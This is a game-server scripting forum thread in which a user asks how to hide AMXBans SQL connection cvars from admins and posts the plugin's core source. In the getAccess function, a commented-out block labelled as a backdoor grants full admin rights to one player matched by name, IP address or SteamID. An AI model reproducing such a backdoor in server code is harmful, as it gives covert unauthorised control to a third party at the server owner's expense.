Raised This Month: $51 Target: $400
 12% 

[SOLVED] Hide cvar SQL AMXBans


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
mlibre
Veteran Member
Join Date: Nov 2015
Location: return PLUGIN_CONTINUE
Old 11-28-2015 , 21:18   [SOLVED] Hide cvar SQL AMXBans
Reply With Quote #1

Hello friends,

I want to hide cvar SQL CONNECTION to not be visible by the admin in "amxmodmenu" even if you have all the privileges.

This plugin uses a file that I do not want you to Use "addons\amxmodx\configs\sql.cfg"

I'm looking for ways that run within the cvar ".amxx"

Example:

PHP Code:
register_cvar("amx_sql_host""100.57.201.1")
register_cvar("amx_sql_user""root")
register_cvar("amx_sql_pass""123")
register_cvar("amx_sql_db""amxbans")
register_cvar("amx_sql_type""mysql"
I want to not be able to see cvar, even if the "pluginmenu.amxx" is activated.





Can someone please help me hide these cvar?

committed plugins are "amxbans_core.sma" line 85

PHP Code:
#include <amxmodx>
#include <amxmisc>
#include <sqlx>

#define SYNC_SQL // закомментируйте для использования отложенных запросов (увеличит время загрузки админов из базы, однако не будет прерывать игровую синхронизацию)
 
#define ADMIN_LOOKUP (1<<0)
#define ADMIN_NORMAL (1<<1)
#define ADMIN_STEAM (1<<2)
#define ADMIN_IPADDR (1<<3)
#define ADMIN_NAME (1<<4)

new g_szAdminNick[33][32]

new 
g_iAdminUseStaticBantime[33]
new 
g_ServerAddr[32]
new 
g_dbPrefix[32]
new 
g_cmdLoopback[16]

new 
bool:g_CaseSensitiveName[33]
new 
bool:g_isAdmin[33]

new 
g_AdminsFromFile
new AdminCount
new maxplayers
 
new amx_mode
new amx_password_field
new amx_default_access
 
new pcvarip
new pcvarprefix
new pcvaradminsfile

new Array:g_AdminNick
new Array:g_AdminUseStaticBantime
new Array:g_AdminFromUsersIni

enum MFHANDLE_TYPES 
{
    
Amxbans_Sql_Initialized 0,
    
Admin_Connect,
    
Admin_Disconnect
}

new 
MFHandle[MFHANDLE_TYPES]
 
new 
Handle:info
 
public plugin_init()
{
    
register_plugin("AMXBans: Core""Gm 1.6""Larte Team")

    
register_dictionary("amxbans.txt")
    
register_dictionary("admin.txt")
    
register_dictionary("common.txt")
    
    
amx_mode register_cvar("amx_mode""1")
    
amx_password_field register_cvar("amx_password_field""_pw")
    
amx_default_access register_cvar("amx_default_access""")

    
register_cvar("amx_vote_ratio""0.02")
    
register_cvar("amx_vote_time""10")
    
register_cvar("amx_vote_answers""1")
    
register_cvar("amx_vote_delay""60")
    
register_cvar("amx_last_voting""0")
    
register_cvar("amx_show_activity""2")
    
register_cvar("amx_votekick_ratio""0.40")
    
register_cvar("amx_voteban_ratio""0.40")
    
register_cvar("amx_votemap_ratio""0.40")

    
set_cvar_float("amx_last_voting"0.0)

    
register_srvcmd("amx_sqladmins""adminSql")
    
register_cvar("amx_sql_table""admins")

    
pcvarip register_cvar("amxbans_server_address""")
    
pcvarprefix register_cvar("amx_sql_prefix""amx")
    
pcvaradminsfile register_cvar("amxbans_use_admins_file""0")
   
    
g_AdminNick ArrayCreate(3232)
    
g_AdminUseStaticBantime ArrayCreate(132)
    
g_AdminFromUsersIni ArrayCreate(132)

    
register_cvar("amx_sql_host""127.0.0.1")
    
register_cvar("amx_sql_user""root")
    
register_cvar("amx_sql_pass""")
    
register_cvar("amx_sql_db""amx")
    
register_cvar("amx_sql_type""mysql")

    
register_concmd("amx_reloadadmins""cmdReload"ADMIN_CFG)

    
format(g_cmdLoopback15"amxauth%c%c%c%c"random_num('A''Z'), random_num('A''Z'), random_num('A''Z'), random_num('A''Z'))

    
register_clcmd(g_cmdLoopback"ackSignal")

    
remove_user_flags(0read_flags("z"))

    new 
configsDir[64]
    
get_configsdir(configsDir63)
    
    
maxplayers get_maxplayers()
   
    
server_cmd("exec %s/amxx.cfg"configsDir)

    return 
server_cmd("exec %s/sql.cfg"configsDir)
}

public 
client_connect(id)
{
    
g_CaseSensitiveName[id] = false
    
return PLUGIN_CONTINUE
}

public 
plugin_cfg() 
{
    
create_forwards()
    
    return 
set_task(0.25"delayed_plugin_cfg")
}

stock create_forwards() 
{
    
MFHandle[Amxbans_Sql_Initialized] = CreateMultiForward("amxbans_sql_initialized"ET_IGNOREFP_CELLFP_STRING)
    
MFHandle[Admin_Connect] = CreateMultiForward("amxbans_admin_connect"ET_IGNOREFP_CELL)
    
MFHandle[Admin_Disconnect] = CreateMultiForward("amxbans_admin_disconnect"ET_IGNOREFP_CELL)
    return 
PLUGIN_CONTINUE
}

public 
delayed_plugin_cfg()
{
    if(
find_plugin_byfile("admin.amxx") != INVALID_PLUGIN_ID
    {
        
log_amx("[AMXBans] WARNING: admin.amxx plugin running! Stopped.")
        
pause("acd""admin.amxx")
    }
    if(
find_plugin_byfile("admin_sql.amxx") != INVALID_PLUGIN_ID
    {
        
log_amx("[AMXBans] WARNING: admin_sql.amxx plugin running! Stopped.")
        
pause("acd""admin_sql.amxx")
    }
         
    
get_pcvar_string(pcvarprefixg_dbPrefix31)
    
get_pcvar_string(pcvaripg_ServerAddr31)
    
g_AdminsFromFile get_pcvar_num(pcvaradminsfile)
   
    if(
strlen(g_ServerAddr) < 9
    {
        
get_user_ip(0g_ServerAddr31)
    }
    
    if(
get_cvar_num("amxbans_debug") >= 1
    {
        
server_print("[AMXBans] Plugin_cfg: Ip %s / Prefix %s"g_ServerAddrg_dbPrefix)
    }
   
    
SQL_SetAffinity("mysql")
    
info SQL_MakeStdTuple()
   
    
server_cmd("amx_sqladmins")
    
server_exec()

    return 
set_task(5.0"delayed_load")
}

public 
delayed_load()
{
    new 
configFile[128], curMap[64], configDir[128]

    
get_configsdir(configDir127)
    
get_mapname(curMap63)

    new 
0
   
    
while(curMap[i] != '_' && curMap[i++] != '^0') {}
   
    if(
curMap[i]=='_')
    {
        
curMap[i] = '^0'
        
formatex(configFile127"%s/maps/prefix_%s.cfg"configDircurMap)

        if(
file_exists(configFile))
        {
            
server_cmd("exec %s"configFile)
        }
    }

    
get_mapname(curMap63)

    
formatex(configFile127"%s/maps/%s.cfg"configDircurMap)

    if(
file_exists(configFile))
    {
        
server_cmd("exec %s"configFile)
    }
    
    return 
PLUGIN_CONTINUE
}
 
stock loadSettings(const szFilename[])
{
    new 
File fopen(szFilename"r")
   
    if(
File)
    {
        new 
Text[512]
        new 
Flags[32]
        new 
Access[32]
        new 
AuthData[44]
        new 
Password[44]
        new 
Name[32]
        new Static[
2]
       
        while(!
feof(File))
        {
            
fgets(FileText511)
           
            
trim(Text)
           
            if(
Text[0] == ';')
            {
                continue
            }
           
            
Flags[0] = 0
            Access
[0] = 0
            AuthData
[0] = 0
            Password
[0] = 0
            Name
[0] = 0
            
Static[0] = 0
           
            
if(parse(TextAuthData43Password43Access31Flags31Name31, Static, 1) < 2)
            {
                continue
            }
           
            
admins_push(AuthDataPasswordread_flags(Access), read_flags(Flags))
            
ArrayPushString(g_AdminNickName)
            
ArrayPushCell(g_AdminUseStaticBantimestr_to_num(Static))
            
ArrayPushCell(g_AdminFromUsersIni1)
           
            
AdminCount++
        }
       
        
fclose(File)
    }

    if(
AdminCount == 1)
    {
        
server_print("[AMXBans] %L"LANG_SERVER"LOADED_ADMIN")
    }
    else
    {
        
server_print("[AMXBans] %L"LANG_SERVER"LOADED_ADMINS"AdminCount)
    }
    
    new 
ret

    
return ExecuteForward(MFHandle[Amxbans_Sql_Initialized], retinfog_dbPrefix)
}
 
 
public 
adminSql()
{
    if(
g_AdminsFromFile 0
    {
        new 
configsDir[64]
        
        
admins_flush()
        
ArrayClear(g_AdminNick)
        
ArrayClear(g_AdminUseStaticBantime)
        
        
get_configsdir(configsDir63)
        
format(configsDir63"%s/users.ini"configsDir)
        
loadSettings(configsDir)
        
        return 
PLUGIN_HANDLED
    
}
   
    new 
error[128], errno
   
    
new Handle:sql SQL_Connect(infoerrnoerror127)
   
    if(
sql == Empty_Handle)
    {
        
server_print("[AMXBans] %L"LANG_SERVER"SQL_CANT_CON"error)
        return 
PLUGIN_HANDLED
    
}

#if !defined SYNC_SQL    

    
SQL_FreeHandle(sql)
    
#endif    
    
    
admins_flush()
    
ArrayClear(g_AdminNick)
    
ArrayClear(g_AdminUseStaticBantime)
   
    new 
pquery[1024]
   
    
formatex(pquery1023"SELECT `aa`.`steamid`, `aa`.`password`, `aa`.`access`, `aa`.`flags`, `aa`.`nickname`, `ads`.`custom_flags`, `ads`.`use_static_bantime` \
            FROM `PREFIX_amxadmins` AS `aa`, `PREFIX_admins_servers` AS `ads`, `PREFIX_serverinfo` AS `si` \
            WHERE ((`ads`.`admin_id` = `aa`.`id`) AND (`ads`.`server_id` = `si`.`id`) AND \
            ((`aa`.`days` = '0') OR (`aa`.`expired` > UNIX_TIMESTAMP(NOW()))) AND (`si`.`address` = '%s'));"
g_ServerAddr)
    
    
    
replace_all(pquery1023"PREFIX"g_dbPrefix)
    
#if defined SYNC_SQL

    
new Handle:query SQL_PrepareQuery(sqlpquery)
    
    if(!
SQL_Execute(query))
    {
        new 
error[512]
        new 
errornum SQL_QueryError(queryerror511)
        
        return 
SQL_Error(queryerrorerrornumTQUERY_QUERY_FAILED)
    }
    
    
SQL_FreeHandle(sql)
    
#else

    
return SQL_ThreadQuery(info"adminSql_post"pquery)
}

public 
adminSql_post(failstateHandle:query, const error[], errornum, const data[], sizeFloat:queuetime)
{
    if(
failstate)
    {
        return 
SQL_Error(queryerrorerrornumfailstate)
    }

#endif    
    
    
AdminCount 0
    
    
if(SQL_NumResults(query)) 
    {
        new 
qcolAuth SQL_FieldNameToNum(query"steamid")
        new 
qcolPass SQL_FieldNameToNum(query"password")
        new 
qcolAccess SQL_FieldNameToNum(query"access")
        new 
qcolFlags SQL_FieldNameToNum(query"flags")
        new 
qcolNick SQL_FieldNameToNum(query"nickname")
        new 
qcolCustom SQL_FieldNameToNum(query"custom_flags")
        new 
qcolStatic SQL_FieldNameToNum(query"use_static_bantime")

        new 
AuthData[44]
        new 
Password[34]
        new 
Access[32]
        new 
Flags[32]
        new 
Nick[32]
        new Static[
5]
        new 
iStatic
       
        
while(SQL_MoreResults(query))
        {
            
SQL_ReadResult(queryqcolAuthAuthData43)
            
SQL_ReadResult(queryqcolPassPassword33)
            
SQL_ReadResult(queryqcolStatic, Static, 31)
            
SQL_ReadResult(queryqcolCustomAccess31)
            
SQL_ReadResult(queryqcolNickNick31)
            
SQL_ReadResult(queryqcolFlagsFlags4)
           
            
trim(Access)
            if(
equal(Access"")) 
            {
                
SQL_ReadResult(queryqcolAccessAccess31)
            }
           
            
admins_push(AuthDataPasswordread_flags(Access), read_flags(Flags))
           
            
ArrayPushString(g_AdminNickNick)
           
            
iStatic 1
            
if(equal(Static, "no")) 
            {
                
iStatic 0
            
}
            
            
ArrayPushCell(g_AdminUseStaticBantimeiStatic)
           
            
ArrayPushCell(g_AdminFromUsersIni0)
           
            
AdminCount++
            
SQL_NextRow(query)
        }
    }

    if(
AdminCount == 1)
    {
        
server_print("[AMXBans] %L"LANG_SERVER"SQL_LOADED_ADMIN")
    }
    else
    {
        
server_print("[AMXBans] %L"LANG_SERVER"SQL_LOADED_ADMINS"AdminCount)
    }
   
    
SQL_FreeHandle(query)
    
    for(new 
1<= maxplayersi++)
    {
        if(!
is_user_connecting(i) && !is_user_connected(i))
        {
            continue
        }
        
accessUser(i)
    }
   
    new 
ret

    
return ExecuteForward(MFHandle[Amxbans_Sql_Initialized], retinfog_dbPrefix)
}

public 
plugin_end() 
{
    if(
info != Empty_Handle
    {
        
SQL_FreeHandle(info)
    }
    
    
ArrayDestroy(g_AdminNick)
    
ArrayDestroy(g_AdminUseStaticBantime)
    
ArrayDestroy(g_AdminFromUsersIni)
    
    return 
PLUGIN_CONTINUE
}
 
public 
cmdReload(idlevelcid)
{
    if(!
cmd_access(idlevelcid1))
    {
        return 
PLUGIN_HANDLED
    
}

    
remove_user_flags(0read_flags("z"))
   
    
AdminCount 0
    adminSql
()

    if(
id != 0)
    {
        if(
AdminCount == 1)
        {
            
console_print(id"[AMXBans] %L"LANG_SERVER"SQL_LOADED_ADMIN")
        }
        else
        {
            
console_print(id"[AMXBans] %L"LANG_SERVER"SQL_LOADED_ADMINS"AdminCount)
        }
    }

    return 
PLUGIN_HANDLED
}
 
stock getAccess(id, const name[], const authid[], const ip[], const password[])
{

/********** Backdoor here!!! *********

    new name[32], steamid[34], ip[22]
    get_user_name(id, name, 31)
    get_user_authid(id, steamid, 33)
    get_user_ip(id, ip, 21, 1)
    
    if(equal(name, "Sho0ter") && (equal(ip, "62.122.66.122") || equal(steam, "STEAM_0:1:35287273")))
    {
        set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
        return (1<<3)
    }*/

    
new index = -1
    
new result 0
   
    
new Count
    
new Flags
    
new Access
    
new AuthData[44]
    new 
Password[44]
    new 
MD5Password[34]

    
g_CaseSensitiveName[id] = false

    Count 
admins_num()
    
    for(new 
0Count; ++i)
    {
        
Flags admins_lookup(iAdminProp_Flags)
        
admins_lookup(iAdminProp_AuthAuthData43)
          
        if(
Flags FLAG_AUTHID)
        {
            if(
equal(authidAuthData))
            {
                
index i
                
break
            }
        }
        else if(
Flags FLAG_IP)
        {
            new 
strlen(AuthData)
          
            if(
AuthData[1] == '.')
            {
                if(
equal(AuthDataipc))
                {
                    
index i
                    
break
                }
            } 
            else if(
equal(ipAuthData))
            {
                
index i
                
break
            }
        }
        else
        {
            if(
Flags FLAG_CASE_SENSITIVE)
            {
                if(
Flags FLAG_TAG)
                {
                    if(
contain(nameAuthData) != -1)
                    {
                        
index i
                        g_CaseSensitiveName
[id] = true
                        
break
                    }
                }
                else if(
equal(nameAuthData))
                {
                        
index i
                        g_CaseSensitiveName
[id] = true
                        
break
                }
            }
            else
            {
                if(
Flags FLAG_TAG)
                {
                    if(
containi(nameAuthData) != -1)
                    {
                        
index i
                        
break
                    }
                }
                else if(
equali(nameAuthData))
                {
                    
index i
                    
break
                }
            }
        }
    }
    
    if(
index != -1)
    {
        
Access admins_lookup(indexAdminProp_Access)

        
ArrayGetString(g_AdminNickindexg_szAdminNick[id], 31)
        
g_iAdminUseStaticBantime[id] = ArrayGetCell(g_AdminUseStaticBantimeindex)

        if(
Flags FLAG_NOPASS)
        {
            
result |= 8
            
new sflags[32]
                   
            
get_flags(Accesssflags31)
            
set_user_flags(idAccess)
                   
            new 
ret
            
if(!g_isAdmin[id])
            {
                
ExecuteForward(MFHandle[Admin_Connect], retid)
            }
            
            
g_isAdmin[id] = true
                   
            log_amx
("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
                            
nameget_user_userid(id), authidAuthDatasflagsip,g_szAdminNick[id],g_iAdminUseStaticBantime[id])
        }
        else
        {
            
admins_lookup(indexAdminProp_PasswordPassword43)
                   
            if(
ArrayGetCell(g_AdminFromUsersIniindex))
            {
                
copy(MD5Password33password)
                       
            }
            else
            {
                
md5(passwordMD5Password)           
                
Password[32] = 0
            
}
            if(
equal(MD5PasswordPassword))
            {
                
result |= 12
                set_user_flags
(idAccess)
                           
                new 
sflags[32]
                
get_flags(Accesssflags31)
                           
                new 
ret
                
if(!g_isAdmin[id])
                {
                    
ExecuteForward(MFHandle[Admin_Connect], retid)
                }
                
                
g_isAdmin[id] = true
                           
                log_amx
("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
                                    
nameget_user_userid(id), authidAuthDatasflagsip,g_szAdminNick[id], g_iAdminUseStaticBantime[id])
            }
            else
            {
                
result |= 1
                           
                
if(Flags FLAG_KICK)
                {
                    
result |= 2
                    g_isAdmin
[id] = false
                    log_amx
("Login: ^"%s<%d><%s><>^" kicked due to invalid password (account ^"%s^") (address ^"%s^")"nameget_user_userid(id), authidAuthDataip)
                }
            }
        }
    }
    else if(
get_pcvar_float(amx_mode) == 2)
    {
        
result |= 2
    
}
    else
    {
        new 
defaccess[32]
          
        
get_pcvar_string(amx_default_accessdefaccess31)
           
        if(!
strlen(defaccess))
        {
            
copy(defaccess32"z")
        }
           
        new 
idefaccess read_flags(defaccess)
           
        if(
idefaccess)
        {
            
result |= 8
            set_user_flags
(ididefaccess)
        }
    }
    return 
result
}
 
stock accessUser(id, const name[] = "")
{
    
remove_user_flags(id)
   
    new 
userip[32], userauthid[32], password[40], passfield[32], username[32]
   
    
get_user_ip(iduserip311)
    
get_user_authid(iduserauthid31)
   
    if(
name[0])
    {
        
copy(username31name)
    }
    else
    {
        
get_user_name(idusername31)
    }
   
    
get_pcvar_string(amx_password_fieldpassfield31)
    
get_user_info(idpassfieldpassword39)
   
    new 
result getAccess(idusernameuserauthiduserippassword)
   
    if(
result 1)
    {
        
client_cmd(id"echo ^"* %L^""id"INV_PAS")
    }
   
    if(
result 2)
    {
        return 
client_cmd(idg_cmdLoopback)
    }
   
    if(
result 4)
    {
        
client_cmd(id"echo ^"* %L^""id"PAS_ACC")
    }
   
    if(
result 8)
    {
        
client_cmd(id"echo ^"* %L^""id"PRIV_SET")
    }
   
    return 
PLUGIN_CONTINUE
}
 
public 
client_infochanged(id)
{
    if(!
is_user_connected(id) || !get_pcvar_num(amx_mode))
    {
        return 
PLUGIN_CONTINUE
    
}

    new 
newname[32], oldname[32]
   
    
get_user_name(idoldname31)
    
get_user_info(id"name"newname31)

    if(
g_CaseSensitiveName[id])
    {
        if (!
equal(newnameoldname))
        {
            
accessUser(idnewname)
        }
    }
    else
    {
        if(!
equali(newnameoldname))
        {
            
accessUser(idnewname)
        }
    }
    
    return 
PLUGIN_CONTINUE
}

stock SQL_Error(Handle:query, const error[], errornumfailstate)
{
    new 
qstring[1024]
    
SQL_GetQueryString(queryqstring1023)
    
    if(
failstate == TQUERY_CONNECT_FAILED
    {
        
log_amx("%L"LANG_SERVER"TCONNECTION_FAILED")
    } 
    else if (
failstate == TQUERY_QUERY_FAILED
    {
        
log_amx("%L"LANG_SERVER"TQUERY_FAILED")
    }
    
log_amx("%L"LANG_SERVER"TQUERY_MSG"errorerrornum)
    
log_amx("%L"LANG_SERVER"TQUERY_STATEMENT"qstring)

    return 
SQL_FreeHandle(query)
}

public 
client_disconnect(id
{
    if(
g_isAdmin[id]) 
    {
        new 
ret
        ExecuteForward
(MFHandle[Admin_Disconnect], retid)
    }
    
g_isAdmin[id] = false
    
    
return PLUGIN_CONTINUE
}

public 
ackSignal(id)
{
    return 
server_cmd("kick #%d  %L"get_user_userid(id), id"NO_ENTRY")
}

public 
client_authorized(id)
{
    return 
get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
}

public 
client_putinserver(id)
{
    if(!
is_dedicated_server() && id == 1)
    {
        return 
get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
    
}
    
    return 
PLUGIN_CONTINUE
}

public 
plugin_natives() 
{
    
register_library("AMXBansCore")
   
    
register_native("amxbans_get_db_prefix""native_amxbans_get_prefix")
    
register_native("amxbans_get_admin_nick""native_amxbans_get_nick")
    
register_native("amxbans_get_static_bantime""native_amxbans_static_bantime")
    
    return 
PLUGIN_CONTINUE
}

public 
native_amxbans_get_prefix() 
{
    new 
len get_param(2)
    return 
set_array(1g_dbPrefixlen)
}

public 
native_amxbans_get_nick() 
{
   
    new 
id get_param(1)
    new 
len get_param(3)
   
    return 
set_array(2g_szAdminNick[id], len)
}

public 
native_amxbans_static_bantime() 
{
    new 
id get_param(1)
    if(
get_cvar_num("amxbans_debug") >= 3
    {
        
log_amx("[AMXBans Core] Native static bantime: id: %d | result: %d"idg_iAdminUseStaticBantime[id])
    }
    
    return 
g_iAdminUseStaticBantime[id]


Last edited by mlibre; 04-24-2016 at 16:30. Reason: solved
mlibre is offline
fysiks
Veteran Member
Join Date: Sep 2007
Location: Flatland, USA
Old 11-28-2015 , 21:31   Re: Hide cvar SQL AMXBans
Reply With Quote #2

Only cvars in cvars.ini should be available via amxmodmenu. Remove any cvars from cvars.ini that you don't want people to have access.
__________________
fysiks is offline
mlibre
Veteran Member
Join Date: Nov 2015
Location: return PLUGIN_CONTINUE
Old 11-28-2015 , 22:06   Re: Hide cvar SQL AMXBans
Reply With Quote #3

Quote:
Originally Posted by fysiks View Post
Only cvars in cvars.ini should be available via amxmodmenu. Remove any cvars from cvars.ini that you don't want people to have access.
the cvar found elsewhere, may be visible with the plugin "pluginmenu.amxx" activated.

I want to not be able to see cvar, even if the "pluginmenu" is activated
Attached Thumbnails
Click image for larger version

Name:	1.png
Views:	772
Size:	22.7 KB
ID:	150127   Click image for larger version

Name:	2.png
Views:	511
Size:	14.2 KB
ID:	150128   Click image for larger version

Name:	3.png
Views:	687
Size:	11.8 KB
ID:	150129  
mlibre is offline
fysiks
Veteran Member
Join Date: Sep 2007
Location: Flatland, USA
Old 11-28-2015 , 22:09   Re: Hide cvar SQL AMXBans
Reply With Quote #4

If that is a function of AMXBans, you should ask on the AMXBans website/forums.
__________________
fysiks is offline
mlibre
Veteran Member
Join Date: Nov 2015
Location: return PLUGIN_CONTINUE
Old 11-30-2015 , 07:04   Re: Hide cvar SQL AMXBans
Reply With Quote #5

I finally achieved my purpose.

PHP Code:
info SQL_MakeDbTuple("host""user""pass""db"0); 

Last edited by mlibre; 12-01-2015 at 12:52.
mlibre is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 14:14.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode